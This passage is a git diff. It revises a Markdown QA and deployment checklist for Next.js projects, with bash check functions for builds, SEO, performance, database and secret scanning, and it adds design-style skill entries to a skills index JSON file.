Content-Type +- [ ] Errors return consistent JSON `{ error, message }` +- [ ] Response times < 200ms +- [ ] CORS headers correct (if cross-origin) ```bash -PROD="https://www.yourdomain.com" - -# Homepage loads -curl -sI "$PROD" | grep -i "http\|status" - -# Key page loads -curl -sI "$PROD/tools/keyword-density-checker" | grep "200\|301\|404" - -# No JS errors (requires manual browser check) -# Open browser → Console → look for red errors - -# OG image loads -curl -sI "$PROD/images/og/home.jpg" | grep -i "200\|content-type" +qa:api() { + for p; do + local R=$(curl -so /dev/null -w "%{http_code} %{content_type}" "$PROD_URL$p") + echo " $p → $R" + done + local E=$(curl -s "$PROD_URL/api/nonexistent") + echo "$E" | python3 -c "import sys,json; d=json.load(sys.stdin); assert 'error' in d; print('✓ Consistent errors')" 2>/dev/null || echo " ⚠ Inconsistent error shape" +} ``` --- -## Definition of Done +### Phase 7: Git Hygiene -A change is **production-ready** only when ALL of the following are true: +- [ ] No secrets/credentials in diff +- [ ] No `.next`/`node_modules` staged +- [ ] Commit: `type(scope): message` -- [ ] `npx tsc --noEmit` passes -- [ ] `npm run validate` passes (or no script) -- [ ] `npm run lint:canon` passes (or no script) -- [ ] `npx eslint .` passes with 0 warnings -- [ ] `npm test` passes or no tests exist -- [ ] `npm run build` completes successfully -- [ ] Important pages show `○` or `●` in build output (not `λ`) -- [ ] SEO tags visible in `curl` output for key pages -- [ ] All sitemap routes return valid XML -- [ ] No new 404s on previously working routes -- [ ] No secrets in git diff -- [ ] Commit message is scoped and descriptive -- [ ] Social preview platforms show correct card after cache refresh +```bash +qa:git() { + local S=$(git diff HEAD 2>/dev/null | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+") + [ -n "$S" ] && { echo " ✗ Secrets in diff!"; echo "$S"; return 1; } || echo " ✓ No secrets" + local A=$(git status --short 2>/dev/null | grep -E "\.next|node_modules" | head -3) + [ -n "$A" ] && echo " ⚠ Build artifacts:" && echo "$A" || echo " ✓ No artifacts" +} +``` + +--- + +### Phase 8: Post-Deployment Smoke Test + +- [ ] Homepage 200, key pages 200 +- [ ] OG image loads 200 +- [ ] No console errors (manual) +- [ ] Auth flow works (manual) + +```bash +qa:smoke() { + curl -sI "$PROD_URL" | head -1 | grep -q "200" && echo " ✓ Homepage" || echo " ✗ Homepage" + curl -sI "$PROD_URL/sitemap.xml" | head -1 | grep -q "200" && echo " ✓ Sitemap" || echo " ✗ Sitemap" +} +``` + +--- + +### Phase 9: Page Speed, Lazy Load & Bundles + +- [ ] Lighthouse ≥ 90 (Perf, A11y, SEO) +- [ ] FCP < 2.5s, LCP < 4.0s, CLS < 0.1 +- [ ] Images lazy-loaded (`loading="lazy"`), WebP/AVIF +- [ ] Dynamic imports for heavy components +- [ ] Largest JS chunk < 200KB gzipped +- [ ] `font-display: swap`, no FOIT +- [ ] Total page weight < 1MB + +```bash +qa:lazyload() { + local N=$(grep -r "loading=" app/ --include="*.tsx" 2>/dev/null | grep -c "lazy" || true) + echo " Lazy images: $N" + grep -rn "next/dynamic\|dynamic((" app/ --include="*.tsx" 2>/dev/null | head -5 | grep . || echo " ⚠ No dynamic imports" +} +qa:heavyload() { + ls -lhS .next/static/chunks/*.js 2>/dev/null | head -5 + local W=$(curl -so /dev/null -w "%{size_download}" "$PROD_URL" 2>/dev/null || echo 0) + echo " HTML weight: ~$((W/1024))KB" + echo " ⚠ Run 'npx lighthouse $PROD_URL --view' for full weight analysis" +} +# PageSpeed: open "https://pagespeed.web.dev/?url=$PROD_URL" +``` + +--- + +### Phase 10: Cleanup & Vulnerability Scan + +- [ ] `npm prune`, `depcheck` — no unused deps +- [ ] No console.log/debugger in staged code +- [ ] `npm audit` — zero critical/high vulnerabilities +- [ ] No eval/new Function/document.write +- [ ] TODOs resolved + +```bash +qa:vulns() { + npm audit 2>/dev/null | grep -E "critical|high" | grep . && echo " ✗ Vulnerabilities!" || echo " ✓ No critical/high vulns" + npm outdated 2>/dev/null | head -5 | grep . || echo " ✓ All up to date" + local D=$(grep -rn "eval(\|new Function(\|document.write(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ Dangerous patterns:" && echo "$D" || echo " ✓ No dangerous patterns" +} +qa:cleanup() { + local D=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "console\.log\|debugger" | head -5) + [ -n "$D" ] && echo " ✗ Debug artifacts:" && echo "$D" || echo " ✓ No debug artifacts" + local T=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "TODO\|FIXME\|HACK" | head -5) + [ -n "$T" ] && echo " ⚠ TODOs remain:" && echo "$T" +} +``` + +--- + +### Phase 11: UI/UX — Cards, Animation, Error Boundaries + +- [ ] Cards: equal height grid, no overlap, text ellipsis, responsive (1→2→3 col) +- [ ] No horizontal scroll at any viewport (320–1440px) +- [ ] Images: consistent `aspect-ratio` + `object-fit: cover` +- [ ] Touch targets ≥ 44×44px +- [ ] Animations use `transform`+`opacity` only (not layout props) +- [ ] `prefers-reduced-motion` respected +- [ ] Error boundaries at root + route level (`app/error.tsx`, `app/global-error.tsx`) +- [ ] `app/not-found.tsx` and `app/loading.tsx` exist +- [ ] All client fetches show loading + error + empty states +- [ ] Buttons: hover, focus-visible, active, disabled, loading states +- [ ] Forms disable submit on click (no double-submit) + +```bash +qa:ux:cards() { + local E=$(grep -rn "text-overflow\|line-clamp\|truncate" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$E" ] && echo " ✓ Text overflow handling" || echo " ⚠ No text overflow handling" + local A=$(grep -rn "aspect-\|object-fit" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$A" ] && echo " ✓ aspect-ratio/object-fit used" || echo " ⚠ No aspect-ratio set" +} +qa:ux:boundaries() { + for f in app/error.tsx app/global-error.tsx app/not-found.tsx app/loading.tsx; do + [ -f "$f" ] && echo " ✓ $f" || echo " ⚠ Missing $f" + done +} +qa:ux:animation() { + local A=$(grep -rn "animation.*width\|transition.*height\|@keyframes.*top\|@keyframes.*margin" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$A" ] && echo " ⚠ Layout-triggering animations:" && echo "$A" || echo " ✓ No layout-triggering animations" + local P=$(grep -r "@media.*prefers-reduced-motion" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$P" ] && echo " ✓ prefers-reduced-motion found in CSS" || echo " ⚠ No prefers-reduced-motion in CSS" +} +``` + +--- + +### Phase 12: Database & Data Layer + +- [ ] Connection pool configured (no starvation) +- [ ] Schema in sync with migrations +- [ ] Indexes on all queried columns, no N+1 +- [ ] No hardcoded DB credentials in source +- [ ] No raw SQL injection risk +- [ ] No sensitive data leaked in API responses +- [ ] Migrations are idempotent + +```bash +qa:database() { + local H=$(grep -rn "postgres://\|mysql://\|mongodb://" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v ".env" | head -5) + [ -n "$H" ] && { echo " ✗ Hardcoded DB URL:"; echo "$H"; } || echo " ✓ No hardcoded DB URLs" + local R=$(grep -rn "\$queryRaw\|\.raw(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$R" ] && echo " ⚠ Raw SQL:" && echo "$R" || echo " ✓ No raw SQL" + local N=$(grep -rn "\.findMany\|\.findUnique" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v "include:" | head -5) + [ -n "$N" ] && echo " ⚠ Possible N+1:" && echo "$N" || echo " ✓ No N+1 patterns" +} +qa:db:migrations() { + [ -d "prisma/migrations" ] && echo " ✓ Prisma: $(ls prisma/migrations 2>/dev/null | wc -l) migrations" || echo " - No prisma migrations dir" + local M=$(ls db/migrations/*.sql 2>/dev/null | head -5); [ -n "$M" ] && echo " ✓ SQL migrations:" && echo "$M" || echo " - No SQL migration files" +} +``` + +--- + +### Phase 13: Secure Data Rendering + +- [ ] No secrets/tokens in client source or localStorage +- [ ] No `dangerouslySetInnerHTML` without DOMPurify +- [ ] API errors don't leak stack traces +- [ ] Internal IDs use UUIDs not auto-increment +- [ ] User emails masked in UI +- [ ] NEXT_PUBLIC_ vars contain no secrets + +```bash +qa:secure() { + local S=$(git grep -n "api_key\|API_KEY\|secret_key\|PRIVATE_KEY" -- ':!*.env*' ':!*test*' 2>/dev/null | head -5) + [ -n "$S" ] && echo " ✗ Secrets in source:" && echo "$S" || echo " ✓ No hardcoded secrets" + local D=$(grep -rn "dangerouslySetInnerHTML" app/ src/ --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ XSS risk — use DOMPurify:" && echo "$D" || echo " ✓ No dangerouslySetInnerHTML" + local T=$(grep -rn "localStorage\|sessionStorage" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -i "token\|jwt\|secret" | head -5) + [ -n "$T" ] && echo " ⚠ Tokens in storage — use httpOnly cookies:" && echo "$T" || echo " ✓ No tokens in storage" + curl -s "$PROD_URL/api/nonexistent" 2>/dev/null | grep -qi "stack\|Error:" && echo " ✗ Stack trace leak" || echo " ✓ No stack leak" +} +``` + +--- + +## Pre-Commit Hook + +```bash +cat > .git/hooks/pre-commit << 'EOF' +#!/bin/sh +npx tsc --noEmit || exit 1 +npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 || exit 1 +EOF +chmod +x .git/hooks/pre-commit +``` + +--- + +## CI/CD (GitHub Actions) + +```yaml +name: QA +on: [push, pull_request] +jobs: + qa: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + - run: npm ci + - run: npx tsc --noEmit + - run: npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 + - run: npm test -- --runInBand --passWithNoTests + - run: npm run build +``` + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Run full 13-phase flow before deploy | Skip typecheck or lint | +| Set `PROD_URL` in profile/.envrc | Hardcode URLs in scripts | +| OG images ≥ 1200×630 | Use small OG images | +| Animate with `transform`+`opacity` | Animate width/height/top | +| Show loading/error/empty states | Leave users on blank screens | +| `prefers-reduced-motion` for animations | Force motion on all users | +| HttpOnly + Secure cookies for tokens | localStorage for auth tokens | +| Error boundaries at all levels | White screen on crash | +| Database indexes + include/populate | N+1 queries in loops | +| `npm audit` before deploy | Deploy with known vulns | + +--- + +## Common Pitfalls + +| Problem | Solution | +|---------|----------| +| OG tags missing in raw HTML | Use `export const metadata` in Next.js | +| `Disallow: /` in robots.txt | Blocks all crawlers — use specific paths | +| Cards different heights in grid | Use `display: grid` with equal-height rows, not flex | +| Text overflows card | Add `text-overflow: ellipsis` + `overflow: hidden` | +| Animation jank | Animate `transform` not `width`/`height` | +| Form submits twice | Disable button on first click | +| Console errors in prod | Add `no-console` ESLint rule | +| DB connection timeout | Add connection pooling (PgBouncer/Prisma Accelerate) | +| Sensitive data in API | Strip `passwordHash`/`secret` in response transformer | +| App crashes on error | Add `app/error.tsx` error boundary | +| Large JS bundles | Dynamic import heavy components, analyze with `next/bundle-analyzer` | +| Images load slowly | Add `loading="lazy"`, use WebP/AVIF, resize to display size | + +--- + +## Security Notes + +- All `qa:*` functions are read-only (tsc, lint, test, build, curl, grep) +- `PROD_URL` and `QA_AUTH_HEADER` only for environments you own +- Basic secret scanning in `git diff` — for prod, use `trufflehog`/`git-secrets` +- Auth tests with real credentials against prod is destructive — use staging + +--- ## Limitations -- Passing this checklist reduces release risk but does not prove the absence of production bugs. -- Some checks depend on project-specific scripts, deployment topology, and external services that may not exist in every app. -- Manual exploratory testing is still required for critical user journeys, payments, auth, and data mutation flows. +- Passing all phases reduces risk but doesn't eliminate production bugs +- Some checks depend on project-specific tooling (Prisma, NextAuth, etc.) +- Manual UX testing still required for critical user journeys +- SEO checks verify raw HTML only — not social preview rendering +- Route checks verify status codes, not content correctness + +--- + +## Master Checklist + +### Phase 1: Code +- [ ] `tsc --noEmit`, `eslint`, `npm test` pass + +### Phase 2: Build +- [ ] `npm run build` succeeds, no errors, pages static + +### Phase 3: Auth +- [ ] Endpoints respond, protected routes denied, secure cookies + +### Phase 4: Routes +- [ ] All core pages 200, sitemap valid, robots.txt correct + +### Phase 5: SEO +- [ ] title, description, og:*, twitter:card, canonical, favicon, slugs + +### Phase 6: API +- [ ] Status, Content-Type, consistent errors, timing + +### Phase 7: Git +- [ ] No secrets, no artifacts, conventional commit + +### Phase 8: Smoke +- [ ] Homepage + key pages 200, og:image loads + +### Phase 9: Speed +- [ ] Lighthouse ≥ 90, lazy images, dynamic imports, font-display: swap + +### Phase 10: Clean +- [ ] No vulns, no debug artifacts, unused deps pruned + +### Phase 11: UI/UX +- [ ] Cards responsive, error boundaries, button states, reduced-motion + +### Phase 12: Database +- [ ] Indexes, no N+1, no hardcoded URLs, no sensitive leaks + +### Phase 13: Secure Rendering +- [ ] No secrets in client, no XSS, no stack leaks, UUIDs diff --git a/antigravity-awesome-skills/skills_index.json b/antigravity-awesome-skills/skills_index.json index 6f4b7153..95d8b049 100644 --- a/antigravity-awesome-skills/skills_index.json +++ b/antigravity-awesome-skills/skills_index.json @@ -153,6 +153,28 @@ "reasons": [] } }, + { + "id": "3d-ui", + "path": "skills/design-it/3d-ui", + "category": "design-it", + "name": "3d-ui", + "description": "Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "3d-web-experience", "path": "skills/3d-web-experience", @@ -1129,6 +1151,28 @@ "reasons": [] } }, + { + "id": "ai-native-ui", + "path": "skills/design-it/ai-native-ui", + "category": "design-it", + "name": "ai-native-ui", + "description": "Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ai-product", "path": "skills/ai-product", @@ -1571,6 +1615,28 @@ "reasons": [] } }, + { + "id": "android-ui-journey-testing", + "path": "skills/android-ui-journey-testing", + "category": "testing", + "name": "android-ui-journey-testing", + "description": "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting.", + "risk": "critical", + "source": "self", + "date_added": "2026-06-18", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "android_ui_verification", "path": "skills/android_ui_verification", @@ -2923,6 +2989,28 @@ ] } }, + { + "id": "aurora-ui", + "path": "skills/design-it/aurora-ui", + "category": "design-it", + "name": "aurora-ui", + "description": "Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "auth-implementation-patterns", "path": "skills/auth-implementation-patterns", @@ -6377,6 +6465,28 @@ "reasons": [] } }, + { + "id": "bento-ui", + "path": "skills/design-it/bento-ui", + "category": "design-it", + "name": "bento-ui", + "description": "Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bevy-ecs-expert", "path": "skills/bevy-ecs-expert", @@ -6889,6 +6999,50 @@ "reasons": [] } }, + { + "id": "brutalism", + "path": "skills/design-it/brutalism", + "category": "design-it", + "name": "brutalism", + "description": "Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "brutalist-typography", + "path": "skills/design-it/brutalist-typography", + "category": "design-it", + "name": "brutalist-typography", + "description": "Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bug-hunter", "path": "skills/bug-hunter", @@ -7417,6 +7571,28 @@ "reasons": [] } }, + { + "id": "card-based-design", + "path": "skills/design-it/card-based-design", + "category": "design-it", + "name": "card-based-design", + "description": "Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "carrier-relationship-management", "path": "skills/carrier-relationship-management", @@ -8151,6 +8327,28 @@ "reasons": [] } }, + { + "id": "claymorphism", + "path": "skills/design-it/claymorphism", + "category": "design-it", + "name": "claymorphism", + "description": "Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "clean-code", "path": "skills/clean-code", @@ -8789,6 +8987,28 @@ "reasons": [] } }, + { + "id": "color-blocking", + "path": "skills/design-it/color-blocking", + "category": "design-it", + "name": "color-blocking", + "description": "Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "comfyui-gateway", "path": "skills/comfyui-gateway", @@ -8811,6 +9031,28 @@ "reasons": [] } }, + { + "id": "command-center-ui", + "path": "skills/design-it/command-center-ui", + "category": "design-it", + "name": "command-center-ui", + "description": "Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "commit", "path": "skills/commit", @@ -10373,6 +10615,50 @@ "reasons": [] } }, + { + "id": "cyber-y2k", + "path": "skills/design-it/cyber-y2k", + "category": "design-it", + "name": "cyber-y2k", + "description": "Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "cyberpunk-ui", + "path": "skills/design-it/cyberpunk-ui", + "category": "design-it", + "name": "cyberpunk-ui", + "description": "Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "daily", "path": "skills/daily", @@ -10439,6 +10725,28 @@ "reasons": [] } }, + { + "id": "dark-mode", + "path": "skills/design-it/dark-mode", + "category": "design-it", + "name": "dark-mode", + "description": "Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dart", "path": "skills/super-code/dart", @@ -10461,6 +10769,50 @@ "reasons": [] } }, + { + "id": "dashboard-design", + "path": "skills/design-it/dashboard-design", + "category": "design-it", + "name": "dashboard-design", + "description": "Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "data-dense-design", + "path": "skills/design-it/data-dense-design", + "category": "design-it", + "name": "data-dense-design", + "description": "Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs).", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "data-engineer", "path": "skills/data-engineer", @@ -11365,6 +11717,28 @@ "reasons": [] } }, + { + "id": "design-it", + "path": "skills/design-it", + "category": "frontend", + "name": "design-it", + "description": "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "design-md", "path": "skills/design-md", @@ -12159,6 +12533,28 @@ "reasons": [] } }, + { + "id": "duotone-design", + "path": "skills/design-it/duotone-design", + "category": "design-it", + "name": "duotone-design", + "description": "Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dwarf-expert", "path": "skills/dwarf-expert", @@ -12291,6 +12687,28 @@ "reasons": [] } }, + { + "id": "editorial-design", + "path": "skills/design-it/editorial-design", + "category": "design-it", + "name": "editorial-design", + "description": "Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "efficient-web-research", "path": "skills/efficient-web-research", @@ -13921,6 +14339,72 @@ "reasons": [] } }, + { + "id": "flat-design", + "path": "skills/design-it/flat-design", + "category": "design-it", + "name": "flat-design", + "description": "Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "flat-design-2", + "path": "skills/design-it/flat-design-2", + "category": "design-it", + "name": "flat-design-2", + "description": "Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "floating-ui", + "path": "skills/design-it/floating-ui", + "category": "design-it", + "name": "floating-ui", + "description": "Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "flowhunt-skill", "path": "skills/flowhunt-skill", @@ -14669,6 +15153,28 @@ "reasons": [] } }, + { + "id": "frutiger-aero", + "path": "skills/design-it/frutiger-aero", + "category": "design-it", + "name": "frutiger-aero", + "description": "Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "fsi-compliance-checker", "path": "skills/fsi-compliance-checker", @@ -15395,6 +15901,28 @@ "reasons": [] } }, + { + "id": "glassmorphism", + "path": "skills/design-it/glassmorphism", + "category": "design-it", + "name": "glassmorphism", + "description": "Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "global-chat-agent-discovery", "path": "skills/global-chat-agent-discovery", @@ -15791,6 +16319,28 @@ "reasons": [] } }, + { + "id": "gradient-design", + "path": "skills/design-it/gradient-design", + "category": "design-it", + "name": "gradient-design", + "description": "Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "grafana-dashboards", "path": "skills/grafana-dashboards", @@ -16409,6 +16959,28 @@ "reasons": [] } }, + { + "id": "high-contrast", + "path": "skills/design-it/high-contrast", + "category": "design-it", + "name": "high-contrast", + "description": "Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "high-end-visual-design", "path": "skills/high-end-visual-design", @@ -16431,6 +17003,28 @@ "reasons": [] } }, + { + "id": "holographic-ui", + "path": "skills/design-it/holographic-ui", + "category": "design-it", + "name": "holographic-ui", + "description": "Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "hono", "path": "skills/hono", @@ -17663,6 +18257,28 @@ "reasons": [] } }, + { + "id": "isometric-design", + "path": "skills/design-it/isometric-design", + "category": "design-it", + "name": "isometric-design", + "description": "Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "issues", "path": "skills/issues", @@ -18611,6 +19227,28 @@ "reasons": [] } }, + { + "id": "layered-design", + "path": "skills/design-it/layered-design", + "category": "design-it", + "name": "layered-design", + "description": "Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "lead-magnets", "path": "skills/lead-magnets", @@ -20295,6 +20933,28 @@ "reasons": [] } }, + { + "id": "material-design", + "path": "skills/design-it/material-design", + "category": "design-it", + "name": "material-design", + "description": "Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mathguard", "path": "skills/mathguard", @@ -20383,6 +21043,28 @@ "reasons": [] } }, + { + "id": "maximalism", + "path": "skills/design-it/maximalism", + "category": "design-it", + "name": "maximalism", + "description": "Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mcp-builder", "path": "skills/mcp-builder", @@ -20737,6 +21419,28 @@ "reasons": [] } }, + { + "id": "minimalism", + "path": "skills/design-it/minimalism", + "category": "design-it", + "name": "minimalism", + "description": "Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "minimalist-ui", "path": "skills/minimalist-ui", @@ -21137,6 +21841,28 @@ "reasons": [] } }, + { + "id": 